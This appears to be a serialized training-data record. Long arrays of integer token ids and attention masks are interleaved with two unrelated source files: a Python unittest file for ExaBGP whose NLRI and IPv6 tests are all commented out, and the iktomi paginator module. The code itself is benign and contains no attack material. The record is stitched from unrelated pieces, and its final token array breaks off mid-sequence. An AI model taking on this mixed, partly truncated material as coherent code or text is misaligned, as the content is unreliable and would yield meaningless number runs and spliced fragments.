765, 63, 354, 8, 277, 304, 267, 1021, 8024, 8, 2796, 14, 1746, 304, 288, 347, 29779, 8, 277, 304, 355, 986, 398, 5077, 275, 2882, 14, 15824, 342, 267, 327, 961, 965, 370, 506, 3055, 367, 314, 511, 370, 17961, 267, 291, 14, 3334, 360, 27850, 1370, 2460, 8, 3422, 14, 25008, 4793, 430, 398, 5241, 275, 5077, 14, 26946, 8, 5686, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 267, 291, 14, 629, 8, 513, 8, 5768, 395, 359, 5686, 360, 27850, 2023, 339, 15779, 272, 6754, 1182, 2925, 367, 1379, 5455, 14, 26946, 339, 6754, 6496, 367, 1379, 5455, 14, 12861, 2377, 272, 15779, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 272, 347, 511, 63, 12861, 2377, 363, 1746, 63, 6083, 8, 277, 304, 267, 333, 275, 2943, 14, 21820, 360, 77, 358, 267, 1021, 4932, 1746, 8, 2796, 14, 1746, 304, 288, 347, 511, 8, 277, 304, 355, 986, 267, 333, 14, 10847, 63, 17, 275, 4932, 1746, 398, 5077, 275, 2882, 14, 15824, 342, 267, 5241, 275, 5077, 14, 12861, 2377, 8, 77, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 398, 1420, 275, 359, 3422, 14, 27216, 779, 5713, 1746, 360, 396, 2023, 61, 267, 291, 14, 629, 8, 513, 8, 5768, 395, 1420, 9, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 272, 327, 272, 327, 14791, 10986, 340, 949, 2295, 787, 1911, 334, 889, 7640, 4454, 5547, 272, 347, 511, 63, 12861, 2377, 363, 889, 63, 1746, 63, 5990, 8, 277, 304, 267, 333, 275, 2943, 14, 21820, 360, 77, 358, 398, 5077, 275, 2882, 14, 15824, 342, 267, 5241, 275, 5077, 14, 12861, 2377, 8, 77, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 267, 291, 14, 629, 8, 513, 8, 5768, 395, 3073, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 272, 327, 272, 327, 14791, 10986, 340, 949, 2295, 787, 1911, 334, 19346, 4454, 12, 1325, 949, 2295, 5547, 272, 347, 511, 63, 12861, 2377, 363, 889, 63, 1746, 63, 2219, 8, 277, 304, 267, 333, 275, 2943, 14, 21820, 360, 77, 358, 267, 1021, 4932, 1746, 8, 2796, 14, 1746, 304, 288, 986, 267, 333, 14, 10847, 63, 17, 275, 4932, 1746, 398, 5077, 275, 2882, 14, 15824, 342, 267, 5241, 275, 5077, 14, 12861, 2377, 8, 77, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 398, 291, 14, 629, 8, 513, 8, 5768, 395, 359, 3422, 14, 27216, 9383, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 83, 272, 327, 272, 327, 14791, 10986, 340, 2248, 11519, 2377, 342, 365, 1627, 6020, 1163, 272, 327, 2419, 282, 859, 31, 272, 327, 272, 327, 5787, 13550, 12, 652, 24611, 15988, 14, 961, 20758, 29524, 272, 327, 1077, 1902, 506, 22751, 503, 2248, 11519, 2377, 342, 1077, 272, 327, 746, 282, 3146, 272, 327, 272, 327, 5787, 11002, 877, 13135, 787, 1808, 642, 13942, 14, 2136, 7171, 1050, 282, 511, 367, 652, 272, 347, 511, 63, 12861, 2377, 363, 1397, 63, 65, 63, 578, 8, 277, 304, 267, 1021, 4932, 1746, 8, 2796, 14, 1746, 304, 288, 347, 511, 8, 277, 304, 355, 986, 398, 1021, 2832, 1156, 483, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dneiter/exabgp
qa/tests/datatype.py
6
2211
#!/usr/bin/env python # encoding: utf-8 """ data.py Created by Thomas Mangin on 2009-09-06. Copyright (c) 2009-2015 Exa Networks. All rights reserved. """ import unittest from exabgp.configuration.environment import environment environment.setup('') # from exabgp.protocol.family import AFI # from exabgp.protocol.family import SAFI class TestData (unittest.TestCase): def setUp (self): pass # def test_1_nlri_1 (self): # self.assertEqual(''.join([chr(c) for c in [32,1,2,3,4]]),to_NLRI('1.2.3.4','32').pack()) # def test_1_nlri_2 (self): # self.assertEqual(''.join([chr(c) for c in [24,1,2,3]]),to_NLRI('1.2.3.4','24').pack()) # def test_1_nlri_3 (self): # self.assertEqual(''.join([chr(c) for c in [20,1,2,3]]),to_NLRI('1.2.3.4','20').pack()) # # def test_2_ip_2 (self): # self.assertEqual(str(InetIP('::ffff:192.168.1.26')),'::ffff:192.168.1.26/128') # self.assertEqual(str(InetIP('::ffff:192.168.1.26').ip),'::ffff:192.168.1.26') # # def test_3_ipv6_1 (self): # default = InetIP('::') # self.assertEqual(str(default),'::/128') # self.assertEqual(default.ip,'::') # self.assertEqual(default.packedip(),'\0'*16) # # def test_3_ipv6_2 (self): # default = InetIP('1234:5678::') # self.assertEqual(str(default),'1234:5678::/128') # self.assertEqual(default.ip,'1234:5678::') # self.assertEqual(default.packedip(),'\x12\x34\x56\x78'+'\0'*12) # # def test_3_ipv6_3 (self): # default = InetIP('1234:5678::1') # self.assertEqual(str(default),'1234:5678::1/128') # self.assertEqual(default.ip,'1234:5678::1') # self.assertEqual(default.packedip(),'\x12\x34\x56\x78'+'\0'*11 + '\x01') # # def test_xxx (self): # ip = "192.0.2.0" # net = chr (192) + chr(0) + chr(2) +chr(0) # bnt = chr(24) + chr (192) + chr(0) + chr(2) # # pfx = Prefix(AFI.ipv4,ip,24) # bgp = BGPNLRI(AFI.ipv4,bnt) # # self.assertEqual(str(pfx),"%s/24" % ip) # self.assertEqual(str(afi),"%s/24" % ip) # self.assertEqual(str(bgp),"%s/24" % ip) # # self.assertEqual(pfx.pack(),bnt) # self.assertEqual(afi.pack(),bnt) # self.assertEqual(bgp.pack(),bnt) # # # README: NEED To add ASN test # # README: NEED To add NLRI test if __name__ == '__main__': unittest.main()
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 2644, 26, 2774, 13, 24, 199, 624, 199, 576, 14, 647, 199, 199, 10502, 701, 27864, 603, 621, 262, 641, 8937, 13, 1643, 13, 1690, 14, 199, 7384, 334, 67, 9, 8937, 13, 7806, 1316, 65, 17138, 14, 2900, 4481, 4644, 14, 199, 624, 199, 199, 646, 2882, 199, 199, 504, 444, 371, 4927, 14, 4758, 14, 5418, 492, 3734, 199, 5418, 14, 2758, 8355, 199, 199, 3, 687, 444, 371, 4927, 14, 3922, 14, 6606, 492, 437, 1976, 199, 3, 687, 444, 371, 4927, 14, 3922, 14, 6606, 492, 13950, 1976, 199, 199, 533, 1379, 1451, 334, 2796, 14, 1746, 304, 199, 198, 318, 3613, 334, 277, 304, 507, 198, 1529, 421, 198, 3, 347, 511, 63, 17, 63, 7530, 322, 63, 17, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 17840, 904, 779, 10194, 8, 67, 9, 367, 286, 315, 359, 708, 12, 17, 12, 18, 12, 19, 12, 20, 13925, 475, 63, 14176, 6129, 360, 17, 14, 18, 14, 19, 14, 20, 1673, 708, 1959, 1389, 1012, 199, 198, 3, 347, 511, 63, 17, 63, 7530, 322, 63, 18, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 17840, 904, 779, 10194, 8, 67, 9, 367, 286, 315, 359, 1194, 12, 17, 12, 18, 12, 19, 13925, 475, 63, 14176, 6129, 360, 17, 14, 18, 14, 19, 14, 20, 1673, 1194, 1959, 1389, 1012, 199, 198, 3, 347, 511, 63, 17, 63, 7530, 322, 63, 19, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 17840, 904, 779, 10194, 8, 67, 9, 367, 286, 315, 359, 1165, 12, 17, 12, 18, 12, 19, 13925, 475, 63, 14176, 6129, 360, 17, 14, 18, 14, 19, 14, 20, 1673, 1165, 1959, 1389, 1012, 199, 198, 3, 199, 198, 3, 347, 511, 63, 18, 63, 711, 63, 18, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 14796, 1772, 29539, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 3855, 356, 26, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 15, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 14796, 1772, 29539, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 1959, 711, 395, 356, 26, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 358, 199, 198, 3, 199, 198, 3, 347, 511, 63, 19, 63, 4774, 22, 63, 17, 334, 277, 304, 199, 198, 3, 221, 198, 885, 275, 473, 846, 1772, 6176, 10993, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 885, 395, 356, 11254, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 711, 12, 356, 10993, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 1389, 6297, 80, 1062, 1154, 16, 16804, 975, 9, 199, 198, 3, 199, 198, 3, 347, 511, 63, 19, 63, 4774, 22, 63, 18, 334, 277, 304, 199, 198, 3, 221, 198, 885, 275, 473, 846, 1772, 360, 4321, 26, 12970, 447, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 885, 26582, 4321, 26, 12970, 26346, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 711, 2584, 4321, 26, 12970, 447, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 1389, 6297, 80, 1062, 1154, 88, 713, 60, 88, 1082, 60, 88, 1367, 60, 88, 2277, 6828, 1154, 16, 16804, 713, 9, 199, 198, 3, 199, 198, 3, 347, 511, 63, 19, 63, 4774, 22, 63, 19, 334, 277, 304, 199, 198, 3, 221, 198, 885, 275, 473, 846, 1772, 360, 4321, 26, 12970, 447, 17, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 885, 26582, 4321, 26, 12970, 447, 17, 15, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 711, 2584, 4321, 26, 12970, 447, 17, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 1389, 6297, 80, 1062, 1154, 88, 713, 60, 88, 1082, 60, 88, 1367, 60, 88, 2277, 6828, 1154, 16, 16804, 845, 435, 1557, 88, 614, 358, 199, 198, 3, 199, 198, 3, 347, 511, 63, 10013, 334, 277, 304, 199, 198, 3, 221, 198, 711, 275, 298, 5756, 14, 16, 14, 18, 14, 16, 2, 199, 198, 3, 221, 198, 846, 221, 275, 8678, 334, 5756, 9, 435, 8678, 8, 16, 9, 435, 8678, 8, 18, 9, 435, 10194, 8, 16, 9, 199, 198, 3, 221, 198, 66, 343, 275, 8678, 8, 1194, 9, 435, 8678, 334, 5756, 9, 435, 8678, 8, 16, 9, 435, 8678, 8, 18, 9, 199, 198, 3, 199, 198, 3, 221, 198, 9928, 88, 275, 25110, 8, 33, 1976, 14, 4774, 20, 12, 711, 12, 1194, 9, 199, 198, 3, 221, 198, 10132, 275, 27893, 14176, 6129, 8, 33, 1976, 14, 4774, 20, 12, 66, 343, 9, 199, 198, 3, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 9928, 88, 395, 6808, 83, 15, 1194, 2, 450, 3384, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 13030, 395, 6808, 83, 15, 1194, 2, 450, 3384, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 10132, 395, 6808, 83, 15, 1194, 2, 450, 3384, 9, 199, 198, 3, 199, 198, 3, 221, 198, 277, 14, 629, 8, 9928, 88, 14, 1389, 1062, 66, 343, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 13030, 14, 1389, 1062, 66, 343, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 10132, 14, 1389, 1062, 66, 343, 9, 199, 198, 3, 199, 198, 3, 221, 198, 3, 27781, 26, 7110, 1149, 4005, 1050, 31139, 511, 199, 198, 3, 221, 198, 3, 27781, 26, 7110, 1149, 4005, 1050, 24719, 6129, 511, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 199, 198, 2796, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 2644, 26, 2774, 13, 24, 199, 624, 199, 576, 14, 647, 199, 199, 10502, 701, 27864, 603, 621, 262, 641, 8937, 13, 1643, 13, 1690, 14, 199, 7384, 334, 67, 9, 8937, 13, 7806, 1316, 65, 17138, 14, 2900, 4481, 4644, 14, 199, 624, 199, 199, 646, 2882, 199, 199, 504, 444, 371, 4927, 14, 4758, 14, 5418, 492, 3734, 199, 5418, 14, 2758, 8355, 199, 199, 3, 687, 444, 371, 4927, 14, 3922, 14, 6606, 492, 437, 1976, 199, 3, 687, 444, 371, 4927, 14, 3922, 14, 6606, 492, 13950, 1976, 199, 199, 533, 1379, 1451, 334, 2796, 14, 1746, 304, 199, 198, 318, 3613, 334, 277, 304, 507, 198, 1529, 421, 198, 3, 347, 511, 63, 17, 63, 7530, 322, 63, 17, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 17840, 904, 779, 10194, 8, 67, 9, 367, 286, 315, 359, 708, 12, 17, 12, 18, 12, 19, 12, 20, 13925, 475, 63, 14176, 6129, 360, 17, 14, 18, 14, 19, 14, 20, 1673, 708, 1959, 1389, 1012, 199, 198, 3, 347, 511, 63, 17, 63, 7530, 322, 63, 18, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 17840, 904, 779, 10194, 8, 67, 9, 367, 286, 315, 359, 1194, 12, 17, 12, 18, 12, 19, 13925, 475, 63, 14176, 6129, 360, 17, 14, 18, 14, 19, 14, 20, 1673, 1194, 1959, 1389, 1012, 199, 198, 3, 347, 511, 63, 17, 63, 7530, 322, 63, 19, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 17840, 904, 779, 10194, 8, 67, 9, 367, 286, 315, 359, 1165, 12, 17, 12, 18, 12, 19, 13925, 475, 63, 14176, 6129, 360, 17, 14, 18, 14, 19, 14, 20, 1673, 1165, 1959, 1389, 1012, 199, 198, 3, 199, 198, 3, 347, 511, 63, 18, 63, 711, 63, 18, 334, 277, 304, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 14796, 1772, 29539, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 3855, 356, 26, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 15, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 14796, 1772, 29539, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 1959, 711, 395, 356, 26, 4717, 26, 5756, 14, 6568, 14, 17, 14, 1479, 358, 199, 198, 3, 199, 198, 3, 347, 511, 63, 19, 63, 4774, 22, 63, 17, 334, 277, 304, 199, 198, 3, 221, 198, 885, 275, 473, 846, 1772, 6176, 10993, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 885, 395, 356, 11254, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 711, 12, 356, 10993, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 1389, 6297, 80, 1062, 1154, 16, 16804, 975, 9, 199, 198, 3, 199, 198, 3, 347, 511, 63, 19, 63, 4774, 22, 63, 18, 334, 277, 304, 199, 198, 3, 221, 198, 885, 275, 473, 846, 1772, 360, 4321, 26, 12970, 447, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 885, 26582, 4321, 26, 12970, 26346, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 711, 2584, 4321, 26, 12970, 447, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 1389, 6297, 80, 1062, 1154, 88, 713, 60, 88, 1082, 60, 88, 1367, 60, 88, 2277, 6828, 1154, 16, 16804, 713, 9, 199, 198, 3, 199, 198, 3, 347, 511, 63, 19, 63, 4774, 22, 63, 19, 334, 277, 304, 199, 198, 3, 221, 198, 885, 275, 473, 846, 1772, 360, 4321, 26, 12970, 447, 17, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 885, 26582, 4321, 26, 12970, 447, 17, 15, 3933, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 711, 2584, 4321, 26, 12970, 447, 17, 358, 199, 198, 3, 221, 198, 277, 14, 629, 8, 885, 14, 1389, 6297, 80, 1062, 1154, 88, 713, 60, 88, 1082, 60, 88, 1367, 60, 88, 2277, 6828, 1154, 16, 16804, 845, 435, 1557, 88, 614, 358, 199, 198, 3, 199, 198, 3, 347, 511, 63, 10013, 334, 277, 304, 199, 198, 3, 221, 198, 711, 275, 298, 5756, 14, 16, 14, 18, 14, 16, 2, 199, 198, 3, 221, 198, 846, 221, 275, 8678, 334, 5756, 9, 435, 8678, 8, 16, 9, 435, 8678, 8, 18, 9, 435, 10194, 8, 16, 9, 199, 198, 3, 221, 198, 66, 343, 275, 8678, 8, 1194, 9, 435, 8678, 334, 5756, 9, 435, 8678, 8, 16, 9, 435, 8678, 8, 18, 9, 199, 198, 3, 199, 198, 3, 221, 198, 9928, 88, 275, 25110, 8, 33, 1976, 14, 4774, 20, 12, 711, 12, 1194, 9, 199, 198, 3, 221, 198, 10132, 275, 27893, 14176, 6129, 8, 33, 1976, 14, 4774, 20, 12, 66, 343, 9, 199, 198, 3, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 9928, 88, 395, 6808, 83, 15, 1194, 2, 450, 3384, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 13030, 395, 6808, 83, 15, 1194, 2, 450, 3384, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 495, 8, 10132, 395, 6808, 83, 15, 1194, 2, 450, 3384, 9, 199, 198, 3, 199, 198, 3, 221, 198, 277, 14, 629, 8, 9928, 88, 14, 1389, 1062, 66, 343, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 13030, 14, 1389, 1062, 66, 343, 9, 199, 198, 3, 221, 198, 277, 14, 629, 8, 10132, 14, 1389, 1062, 66, 343, 9, 199, 198, 3, 199, 198, 3, 221, 198, 3, 27781, 26, 7110, 1149, 4005, 1050, 31139, 511, 199, 198, 3, 221, 198, 3, 27781, 26, 7110, 1149, 4005, 1050, 24719, 6129, 511, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 199, 198, 2796, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
oas89/iktomi
iktomi/utils/paginator.py
1
8823
# -*- coding: utf-8 -*- from . import cached_property import math, itertools from ..web.reverse import URL def full_page_range(pages_count, page): return range(1, pages_count+1) class FancyPageRange(object): '''Insures there are edge pages are shown at each edge and surround pages around current page.''' def __init__(self, edge=3, surround=5): self.edge = edge self.surround = surround def __call__(self, pages_count, page): assert pages_count>0 assert page>0 ranges = [] # left edge left_end = min(self.edge, pages_count) ranges.append([1, left_end+1]) # around current page surround_start = min(max(1, page-self.surround), pages_count+1) surround_end = min(page+self.surround, pages_count) if surround_end>=surround_start: ranges.append([surround_start, surround_end+1]) # right edge right_start = min(max(1, pages_count-self.edge+1), pages_count+1) if pages_count>=right_start: ranges.append([right_start, pages_count+1]) # merge ranges ranges.sort() pages = range(*ranges[0]) for current in ranges[1:]: last = pages[-1] if current[1] <= last: # this range is inside previous continue if current[0] <= last+2: # extends previous pages += range(last+1, current[1]) else: # comes after with space pages += [None] + range(*current) return pages class ChunkedPageRange(object): '''Splits pages range into chunks.''' def __init__(self, size=10): self.paginator_chunk_size = self.size = size def __call__(self, pages_count, page): assert pages_count>0 assert page>0 chunk = (page-1)//self.size start = chunk*self.size + 1 end = min((chunk+1)*self.size, pages_count) return range(start, end+1) # Everything starting from 'paginator_' is exported to Paginator object. def paginator_prev_chunk(paginator): chunk = (paginator.page-1)//paginator.chunk_size if chunk: chunk_size = paginator.chunk_size return paginator._page_url_pair((chunk-1)*chunk_size + chunk_size) else: return paginator._page_url_pair() # Due to nature of cached_property we have to explicitly provide name. paginator_prev_chunk = cached_property(paginator_prev_chunk, 'prev_chunk') def paginator_next_chunk(paginator): chunk = (paginator.page-1)//paginator.chunk_size page = (chunk+1)*paginator.chunk_size + 1 if page>paginator.pages_count: return paginator._page_url_pair() else: return paginator._page_url_pair(page) # Due to nature of cached_property we have to explicitly provide name. paginator_next_chunk = cached_property(paginator_next_chunk, 'next_chunk') class _PageURL(tuple): def __new__(cls, page=None, url=None): return tuple.__new__(cls, (page, url)) @property def page(self): return self[0] @property def url(self): return self[1] def __nonzero__(self): return self.page is not None class Paginator(object): ''' Paginator on top of `webob.Request`. ''' #: limit of items on the page limit = 0 #: total count of items count = 0 #: name of GET argument page_param = 'page' #: show host in URL or not show_host = False #: items on the current page items = () #: Callable returning the list of pages #: to show in paginator. impl = staticmethod(full_page_range) #: The limit of items allowed on the last page. # I.e. if count=23 and orphans=3 with 10 items per page, # there will be 2 pages with 10 and 13 items. orphans = 0 def __init__(self, request, **kwargs): self.request = request self.__dict__.update(kwargs) # Calculate page here in case we return 404 for invalid page self.page def __nonzero__(self): '''Should paginator be shown?''' # We have to check current page too in case the list of items just # shrunk to fit into one page. return bool(self.limit) and (self.pages_count>1 or self.page>1) def invalid_page(self): '''This method is called when invalid (not positive int) page is passed in request. Use "pass" to ignore. Other options are raising exceptions for HTTP Not Found or redirects.''' pass @cached_property def page(self): '''Current page.''' page = self.request.GET.get(self.page_param) if not page: return 1 try: page = int(page) except ValueError: self.invalid_page() return 1 if page<1: self.invalid_page() return 1 return page @cached_property def url(self): '''Current or base URL. Can be redefined via keyword argument on initialization. Returns `iktomi.web.URL object. `''' return URL.from_url(self.request.url, show_host=self.show_host) def page_url(self, page): ''' Returns URL for page, page is included as query parameter. Can be redefined by keyword argument ''' if page is not None and page != 1: return self.url.qs_set(**{self.page_param: page}) elif page is not None: return self.url.qs_delete('page') def _page_url_pair(self, page=None): return _PageURL(page, self.page_url(page) if page is not None else None) @cached_property def pages_count(self): '''Number of pages.''' if not self.limit or self.count<self.limit: return 1 if self.count % self.limit <= self.orphans: return self.count // self.limit return int(math.ceil(float(self.count)/self.limit)) def slice(self, items): '''Slice the sequence of all items to obtain them for current page.''' if self.limit: if self.page>self.pages_count: return [] if self.page == self.pages_count: return items[self.limit*(self.page-1):] return items[self.limit*(self.page-1):self.limit*self.page] else: return items[:] def enumerate(self): skipped = (self.page-1)*self.limit return itertools.izip(itertools.count(skipped+1), self.items) @cached_property def prev(self): if self.page>self.pages_count: # if we are on non-existing page which is higher # than current page, return last page, so we can navigate # to it return self.last elif self.page>1: return self._page_url_pair(self.page-1) else: return self._page_url_pair() @cached_property def next(self): if self.page<self.pages_count: return self._page_url_pair(self.page+1) else: return self._page_url_pair() @cached_property def first(self): return self._page_url_pair(1) @cached_property def last(self): return self._page_url_pair(self.pages_count) @cached_property def pages(self): pages = self.impl(self.pages_count, self.page) return [self._page_url_pair(page) for page in pages] def __getattr__(self, requested_name): name = 'paginator_'+requested_name impl_type = type(self.impl) # Look for exported descriptors defined in impl first. # We can't lookup in __dict__ since this doesn't work for inheritted # attributes. if name not in dir(impl_type): return getattr(self.impl, name) prop = getattr(impl_type, name) # The following will work only if descriptor returns self when # accessed in class. if hasattr(prop, '__get__'): return prop.__get__(self, type(self)) return prop # pragma: no cover class ModelPaginator(Paginator): ''' Paginator for sqlalchemy query. ''' def __init__(self, request, query, **kwargs): self._query = query Paginator.__init__(self, request, **kwargs) @cached_property def count(self): return self._query.count() @cached_property def items(self): '''Items on the current page. Filled in automatically based on query and currrent page''' return self.slice(self._query) def __getitem__(self, key): return self.items[key] def __iter__(self): return iter(self.items) def __len__(self): return len(self.items)
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 1275, 492, 6328, 63, 1829, 199, 646, 3473, 12, 7975, 199, 504, 2508, 2520, 14, 4471, 492, 2851, 421, 199, 318, 2615, 63, 1606, 63, 1842, 8, 5856, 63, 835, 12, 2034, 304, 272, 372, 1425, 8, 17, 12, 6497, 63, 835, 11, 17, 9, 421, 199, 533, 481, 9844, 3276, 4709, 8, 785, 304, 272, 1449, 13962, 1482, 2337, 787, 6275, 6497, 787, 9164, 737, 1924, 6275, 436, 6296, 2363, 6497, 272, 6818, 1453, 2034, 10595, 339, 347, 636, 826, 721, 277, 12, 6275, 29, 19, 12, 6296, 2363, 29, 21, 304, 267, 291, 14, 5173, 275, 6275, 267, 291, 14, 5105, 2363, 275, 6296, 2363, 339, 347, 636, 1250, 721, 277, 12, 6497, 63, 835, 12, 2034, 304, 267, 702, 6497, 63, 835, 30, 16, 267, 702, 2034, 30, 16, 267, 12271, 275, 942, 267, 327, 3602, 6275, 267, 3602, 63, 500, 275, 1748, 8, 277, 14, 5173, 12, 6497, 63, 835, 9, 267, 12271, 14, 740, 779, 17, 12, 